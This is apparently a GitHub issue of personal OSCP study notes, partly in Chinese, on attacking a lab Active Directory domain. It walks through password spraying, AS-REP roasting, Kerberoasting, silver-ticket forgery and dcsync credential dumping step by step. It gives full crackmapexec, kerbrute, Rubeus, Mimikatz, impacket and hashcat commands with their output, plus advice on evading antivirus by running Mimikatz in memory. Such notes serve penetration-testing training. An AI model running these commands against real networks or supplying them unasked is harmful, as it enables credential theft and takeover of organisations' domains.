Open WDavid404 opened 7 months ago
we must be aware of account lockouts.
PS C:\Users\jeff> net accounts
Password spraying attacks
PS C:\Users\jeff> $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
PS C:\Users\jeff> $PDC = ($domainObj.PdcRoleOwner).Name
PS C:\Users\jeff> $SearchString = "LDAP://"
PS C:\Users\jeff> $SearchString += $PDC + "/"
PS C:\Users\jeff> $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
PS C:\Users\jeff> $SearchString += $DistinguishedName
PS C:\Users\jeff> New-Object System.DirectoryServices.DirectoryEntry($SearchString, "pete", "Nexus123!")
2. leverage SMB
The second kind of password spraying attack against AD users leverages SMB. This is one of the traditional approaches of password attacks in AD and comes with some drawbacks. For example, for every authentication attempt, a full SMB connection has to be set up and then terminated. As a result, this kind of password attack is very noisy due to the generated network traffic. It is also quite slow in comparison to other techniques.
Tool: crackmapexec
kali@kali:~$ cat users.txt dave jen pete
kali@kali:~$ crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
拡張:利用crackmapexec查找pete是哪个machine的admin。
显示Pwn3d!的则是admin
`crackmapexec smb ip_list -u pete -p 'Nexus123!' -d corp.com --continue-on-success`
<img width="1433" alt="image" src="https://github.com/WDavid404/OSCP/assets/137129330/c1767744-e41a-408b-887a-66b9cf15b0bb">
【扩展】crackmapexe还可以支持 --share
`crackmapexec smb 192.168.50.242 -u john -p "dqsTwTpZPn#nL" --shares`
==》 to list the SMB shares and their permissions on MAILSRV1(192.168.50.242)
3. using TGT
The advantage of this technique is that it only uses two UDP frames to determine whether the password is valid, as it sends only an AS-REQ and examines the response.
PS C:\Tools> type .\usernames.txt pete dave jen
PS C:\Tools> .\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
_If you receive a network error, make sure that the encoding of usernames.txt is ANSI. You can use Notepad's Save As functionality to change the encoding._
https://www.oreilly.com/library/view/kerberos-the-definitive/0596004036/ch03s03s06.html _Kerberos 5 introduces pre-authentication. Pre-authentication requires that requestors prove their identity before the KDC will issue a ticket for a particular principal. Pre-authentication is controlled by KDC policy. If a user attempts to acquire initial tickets through the AS exchange, but the KDC requires pre-authentication, then the KDC will send a KRB_ERROR message instead of an ASREP in reply to the client’s AS request.
To identify users with the enabled AD user account option Do not require Kerberos preauthentication,
we can use PowerView's Get-DomainUser function with the option -PreauthNotRequired on Windows.
On Kali, we can use impacket-GetNPUsers without the -request and -outputfile options.
impacket-GetNPUsers -dc-ip 192.168.50.70 corp.com/pete
Without Kerberos preauthentication in place, an attacker could send an AS-REQ to the domain controller on behalf of any AD user.After obtaining the AS-REP from the domain controller, the attacker could perform an offline password attack against the encrypted part of the response. This attack is known as AS-REP Roasting.
By default, the AD user account option Do not require Kerberos preauthentication is disabled, meaning that Kerberos preauthentication is performed for all users. However, it is possible to enable this account option manually. In assessments, we may find accounts with this option enabled as some applications and technologies require it to function properly.
On Kali, we can use impacket-GetNPUsers to perform AS-REP roasting. -dc-ip 192.168.50.70: the IP address of the domain controller For this example, we'll use pete with the password Nexus123! from the previous section. The complete command is shown below:
kali@kali:~$ impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password: --> here to input 'Nexus123!'
Name MemberOf PasswordLastSet LastLogon UAC
---- -------- -------------------------- -------------------------- --------
dave 2022-09-02 19:21:17.285464 2022-09-07 12:45:15.559299 0x410200
$krb5asrep$23$dave@CORP.COM:20fcc7e8058953fad9023012dea69aa9$b4c5a285e21204ee91878f414ca13682b493023d13eeb1799e81968733dda5f2964177155b42d70b0483f40a165d52cf487ff75b746409273424662a3c895d565d6d14240127599fd231c7babf751e27b26554763aeca39bd224bf33072ce4b7de32ee3afdc8bf4f0f06ae56c6245392f4f12c2f5e3b1287aa60e009efc9a8d08f505a0c9d6b22d55d891d83cd3d101eff6cecef9cb56228de4df0a7627a18a2f0846fbd93c30f70005e7a6a9c81707d907240529abc2accf9516bff4365f24a5bdd32cda752b1f136b9406e43886a78a124a4590446b25e485f0eba10af97b3bbb5eda8
The result above shows that dave has the user account option Do not require Kerberos preauthentication enabled, meaning it's vulnerable to AS-REP Roasting.
Let's check the correct mode for the AS-REP hash by grepping for "Kerberos" in the Hashcat help.
Launch Hashcat and crack the AS-REP hash.
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
If you receive the Hashcat error "Not enough allocatable device memory for this attack", shut down your Kali VM and add more RAM to it. 4GB is enough for the examples and exercises of this Module.
use Rubeus tool, which is a toolset for raw Kerberos interactions and abuses.
PS C:\Users\jeff> cd C:\Tools
PS C:\Tools> .\Rubeus.exe asreproast /nowrap
....
[*] Searching path 'LDAP://DC1.corp.com/DC=corp,DC=com' for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
[*] SamAccountName : dave
[*] DistinguishedName : CN=dave,CN=Users,DC=corp,DC=com
[*] Using domain controller: DC1.corp.com (192.168.50.70)
[*] Building AS-REQ (w/o preauth) for: 'corp.com\dave'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$dave@corp.com:AE43CA9011CC7E7B9E7F7E7279DD7F2E$7D4C59410DE2984EDF35053B7954E6DC9A0D16CB5BE8E9DCA...
Next, let's copy the AS-REP hash and paste it into a text file named hashes.asreproast2 in the home directory of user kali. We can now start Hashcat again to crack the AS-REP hash.
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
We know that when a user wants to access a resource hosted by a Service Principal Name (SPN), the client requests a service ticket that is generated by the domain controller. When requesting the service ticket from the domain controller, no checks are performed to confirm whether the user has any permissions to access the service hosted by the SPN(). These checks are performed as a second step only when connecting to the service itself. This means that if we know the SPN we want to target, we can request a service ticket for it from the domain controller.
The service ticket is encrypted using the SPN's password hash. If we are able to request the ticket and decrypt it using brute force or guessing, we can use this information to crack the cleartext password of the service account. This technique is known as Kerberoasting.
PS C:\Tools> .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
....
[*] Total kerberoastable users : 1
[*] SamAccountName : iis_service
[*] DistinguishedName : CN=iis_service,CN=Users,DC=corp,DC=com
[*] ServicePrincipalName : HTTP/web04.corp.com:80
[*] PwdLastSet : 9/7/2022 5:38:43 AM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash written to C:\Tools\hashes.kerberoast
Let's copy hashes.kerberoast to our Kali machine. We can then review the Hashcat help for the correct mode to crack a TGS-REP hash.
kali@kali:~$ hashcat --help | grep -i "Kerberos"
...
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...
kali@kali:~$ sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Great! We successfully retrieved the plaintext password of the user iis_service by performing Kerberoasting.
kali@kali:~$ sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete
kali@kali:~$ sudo hashcat -m 13100 hashes.kerberoast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
The user and group permissions in the service ticket are not verified by the application in a majority of environments. In this case, the application blindly trusts the integrity of the service ticket since it is encrypted with a password hash that is, in theory, only known to the service account and the domain controller.
Privileged Account Certificate (PAC) validation is an optional verification process between the SPN application and the domain controller. If this is enabled, the user authenticating to the service and its privileges are validated by the domain controller. Fortunately for this attack technique, service applications rarely perform PAC validation.
With the service account password or its associated NTLM hash at hand, we can forge our own service ticket to access the target resource (in our example, the IIS application) with any permissions we desire. This custom-created ticket is known as a silver ticket and if the service principal name is used on multiple servers, the silver ticket can be leveraged against them all.
In this section's example, we'll create a silver ticket to get access to an HTTP SPN resource. As we identified in the previous section, the iis_service user account is mapped to an HTTP SPN. Therefore, the password hash of the user account is used to create service tickets for it.
In general, we need to collect the following three pieces of information to create a silver ticket:
Since we are a local Administrator on this machine where iis_service has an established session, we can use Mimikatz to retrieve the SPN password hash (NTLM hash of iis_service), which is the first piece of information we need to create a silver ticket. Let's start PowerShell as Administrator and launch Mimikatz.
## To get SPN password hash
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords ==> get a NTLM hash.
msv :
[00000003] Primary
* Username : iis_service ==>也就是我们的目标 web04
* Domain : CORP
* NTLM : 4d28cf5252d39971419580a51484ca09
* SHA1 : ad321732afe417ebbd24d5c098f986c07872f312
* DPAPI : 1210259a27882fac52cf7c679ecf4443
....
## To get SID
PS C:\Users\jeff> whoami /user
User Name SID
========= =============================================
corp\jeff S-1-5-21-1987370270-658905905-1781884369-1105
==> domain SID: S-1-5-21-1987370270-658905905-1781884369
## For this example, we'll target the HTTP SPN resource on WEB04 (HTTP/web04.corp.com:80) because we want to access the web page running on IIS.
## make a silver ticket
mimikatz # kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin
As shown above, a new service ticket for the SPN HTTP/web04.corp.com has been loaded into memory and Mimikatz set appropriate group membership permissions in the forged ticket. From the perspective of the IIS application, the current user will be both the built-in local administrator ( Relative Id: 500 ) and a member of several highly-privileged groups, including the Domain Admins group ( Relative Id: 512 ) as highlighted above.
This means we should have the ticket ready to use in memory. We can confirm this with klist. ⚠️: 需要用administartor打开powershell执行klist才能看到想要的目标
PS C:\Tools> klist
Current LogonId is 0:0xa04cc
Cached Tickets: (1)
#0> Client: jeffadmin @ corp.com
Server: http/web04.corp.com @ corp.com
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 9/14/2022 4:37:32 (local)
End Time: 9/11/2032 4:37:32 (local)
Renew Time: 9/11/2032 4:37:32 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0
Kdc Called:
we have the silver ticket for jeffadmin to access http/web04.corp.com submitted to our current session. This should allow us to access the web page on WEB04 as jeffadmin.
PS C:\Tools> iwr -UseDefaultCredentials http://web04
StatusCode : 200
StatusDescription : OK
Content : <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont...
RawContent : HTTP/1.1 200 OK
Persistent-Auth: true
Accept-Ranges: bytes
Content-Length: 703
Content-Type: text/html
Date: Wed, 14 Sep 2022 11:37:39 GMT
ETag: "b752f823fc8d81:0"
Last-Modified: Wed, 14 Sep 20...
Forms :
Headers : {[Persistent-Auth, true], [Accept-Ranges, bytes], [Content-Length, 703], [Content-Type,
text/html]...}
Images : {}
Once we have access to the password hash of the SPN, a machine account, or user, we can forge the related service tickets for any users and permissions.
补充:利用silver ticket获得web04的content,并搜索"OS{"的字段
PS C:\Tools> (iwr -UseDefaultCredentials http://web04).Content | findstr /i "OS{"||
Since silver and golden tickets represent powerful attack techniques, Microsoft created a security patch to update the PAC structure. With this patch in place, the extended PAC structure field PAC_REQUESTOR needs to be validated by a domain controller. This mitigates the capability to forge tickets for non-existent domain users if the client and the KDC are in the same domain.
In production environments, domains typically rely on more than one domain controller to provide redundancy. The Directory Replication Service (DRS) Remote Protocol uses replication to synchronize these redundant domain controllers. A domain controller may request an update for a specific object, like an account, using the IDL_DRSGetNCChanges API.
Luckily for us, the domain controller receiving a request for an update does not check whether the request came from a known domain controller. Instead, it only verifies that the associated SID has appropriate privileges. If we attempt to issue a rogue update request to a domain controller from a user with certain rights it will succeed.
To launch such a replication, a user needs to have the Replicating Directory Changes, Replicating Directory Changes All, and Replicating Directory Changes in Filtered Set rights. By default, members of the Domain Admins, Enterprise Admins, and Administrators groups have these rights assigned.
If we obtain access to a user account in one of these groups or with these rights assigned, we can perform a dcsync attack in which we impersonate a domain controller. This allows us to request any user credentials from the domain.
For the purposes of this example, we'll target the domain user dave. Let's begin with Mimikatz and start by connecting to CLIENT75 as jeffadmin. As jeffadmin is a member of the Domain Admins group, we already have the necessary rights assigned.
Once connected via RDP, let's open a PowerShell window and launch Mimikatz in C:\Tools.
PS C:\Users\jeffadmin> cd C:\Tools\
PS C:\Tools> .\mimikatz.exe
...
mimikatz # lsadump::dcsync /user:corp\dave
Mimikatz performed the dcsync attack by impersonating a domain controller and obtained the user credentials of dave by using replication.
After copying the NTLM hash and store it in a file named hashes.dcsync on our Kali system,
kali@kali:~$ hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
...
08d7a47a6f9f66b97b1bae4178747494:Flowers1
...
Notably, we can perform the dcsync attack to obtain any user password hash in the domain, even the domain administrator Administrator.
mimikatz # lsadump::dcsync /user:corp\Administrator
kali@kali:~$ impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.50.70
The dcsync attack is a powerful technique to obtain any domain user credentials. As a bonus, we can use it from both Windows and Linux. By impersonating a domain controller, we can use replication to obtain user credentials from a domain controller. However, to perform this attack, we need a user that is a member of Domain Admins, Enterprise Admins, or Administrators, because there are certain rights required to start the replication.
sudo impacket-GetUserSPNs -request -dc-ip 192.168.196.70 corp.com/pete
==》 只有iis server的tokencrackmapexec smb ip_list -u meg -p 'VimForPowerShell123!' -d corp.com --continue-on-success crackmapexec smb ip_list -u backupuser -p 'VimForPowerShell123!' -d corp.com --continue-on-success ==> 密码是meg用户的
impacket-GetNPUsers -dc-ip 192.168.232.70 -request -outputfile hashes.asreproast corp.com/meg ==》获得dave的password hash
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r rule.txt --force 可以获得dave的密码 其中rule.txt内容为:
$1
$!
:
crackmapexec smb ip_list -u dave -p 'Flowers1' -d corp.com --continue-on-success ==》 dave是client75和client74的admin
RDP login to Client75 and run mimikatz的sekurlsa::logonpasswords
RDP login to Client74 and run mimikatz的sekurlsa::logonpasswords ==》 只有offsec的NTLM
试着破解offsec的NTLM hashcat -m 1000 offsec.hash /usr/share/wordlists/rockyou.txt -r rule.txt --force
crackmapexec smb ip_list -u offsec -p 'lab' -d corp.com --continue-on-success ==> 全都logon failure
On Client74,.\PsLoggedon.exe \\DC1
==》没有发现info
On Client75
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
==》 出现了iis_server和backupuser的info,把hashes.kerberoast文件拷贝到kali
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r rule.txt --force ==》 password破解成功
crackmapexec smb ip_list -u backupuser -p 'DonovanJadeKnight1' -d corp.com --continue-on-success ==》 backupuser是包括DC1的所有host的admin
RDP login to DC1 with backupuser。。。
因为系统关闭了对mimikatz运行debug的权限
By default, the permissions to use debug mode are given to the group of local administrators (BUILTIN\Administrators). Although in 99% of cases the administrators do not use this feature (as a rule, it is necessary for system programmers), so for the security purposes it is better to disable SeDebugPrivilege. You can do it using GPO (local or domain one). Go toComputer Configuration -> Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment and enable the policy Debug Program. Add the domain group of users to it who may need debug privileges (as a rule, these are the developers) or leave this group empty so that nobody has these privileges.
https://github.com/GhostPack/Rubeus Rubeus is a C# toolset for raw Kerberos interaction and abuses.
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /user:xxxxx /outfile:xxxx_hashes.txt
Download: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git
22.1. Understanding Active Directory Authentication
22.1.1. NTLM Authentication
NTLM authentication is used when a client authenticates to a server by IP address (instead of by hostname), or if the user attempts to authenticate to a hostname that is not registered on the Active Directory-integrated DNS server. Likewise, third-party applications may choose to use NTLM authentication instead of Kerberos.
NTLM is considered a fast-hashing algorithm since short passwords can be cracked quickly using modest equipment
Even with its relative weaknesses, completely disabling and blocking NTLM authentication requires extensive planning and preparation as it's an important fallback mechanism and used by many third-party applications. Therefore, we'll encounter enabled NTLM authentication in a majority of assessments.
22.1.2. Kerberos Authentication
A KDC service runs on each domain controller and is responsible for session tickets and temporary session keys to users and computers. The domain controller, acting as a KDC, also maintains the Authentication Server service. The AS-REQ (Authentication Server Request) contains a timestamp that is encrypted using a hash derived from the password of the user and their username.
When the domain controller receives the request, it looks up the password hash associated with the specific user in the ntds.dit file and attempts to decrypt the timestamp. If the decryption process is successful and the timestamp is not a duplicate, the authentication is considered successful. Note: If the timestamp is a duplicate, it could indicate evidence of a potential replay attack.
a Ticket Granting Service Request (TGS-REQ) packet that consists of the current user and a timestamp encrypted with the session key, the name of the resource, and the encrypted TGT.
22.1.3. Cached AD Credentials
In modern versions of Windows, these hashes are stored in the Local Security Authority Subsystem Service (LSASS) memory space. The LSASS process is part of the operating system and runs as SYSTEM, we need SYSTEM (or local administrator) permissions to gain access to the hashes stored on a target. Because of this, we often have to start our attack with a local privilege escalation in order to retrieve the stored hashes.
The most popular of these tools is Mimikatz.
Due to the mainstream popularity of Mimikatz and well-known detection signatures, consider avoiding using it as a standalone application and use methods discussed in the Antivirus Evasion Module instead. For example, execute Mimikatz directly from memory using an injector like PowerShell, or use a built-in tool like Task Manager to dump the entire LSASS process memory, move the dumped data to a helper machine, and then load the data into Mimikatz
Start a PowerShell session as Administrator.
An effective defensive technique to prevent tools such as Mimikatz from extracting hashes is to enable additional LSA Protection. The LSA includes the LSASS process. By setting a registry key, Windows prevents reading memory from this process. We'll discuss how to bypass this and other powerful defensive mechanisms in-depth in OffSec's Evasion Techniques and Breaching Defenses course, PEN-300.
Armed with these hashes, we could attempt to crack them and obtain the cleartext password as we did in Password Attacks.
Abusing TGT and service tickets
Open a second PowerShell window and list the contents of the SMB share on WEB04 with UNC path \web04.corp.com\backup. This will create and cache a service ticket.
PS C:\Users\jeff> dir \\web04.corp.com\backup
Once we've executed the directory listing on the SMB share, we can use Mimikatz to show the tickets that are stored in memory by entering sekurlsa::tickets.The output shows both a TGT and a TGS. Stealing a TGS would allow us to access only particular resources associated with those tickets. Alternatively, armed with a TGT, we could request a TGS for specific resources we want to target within the domain.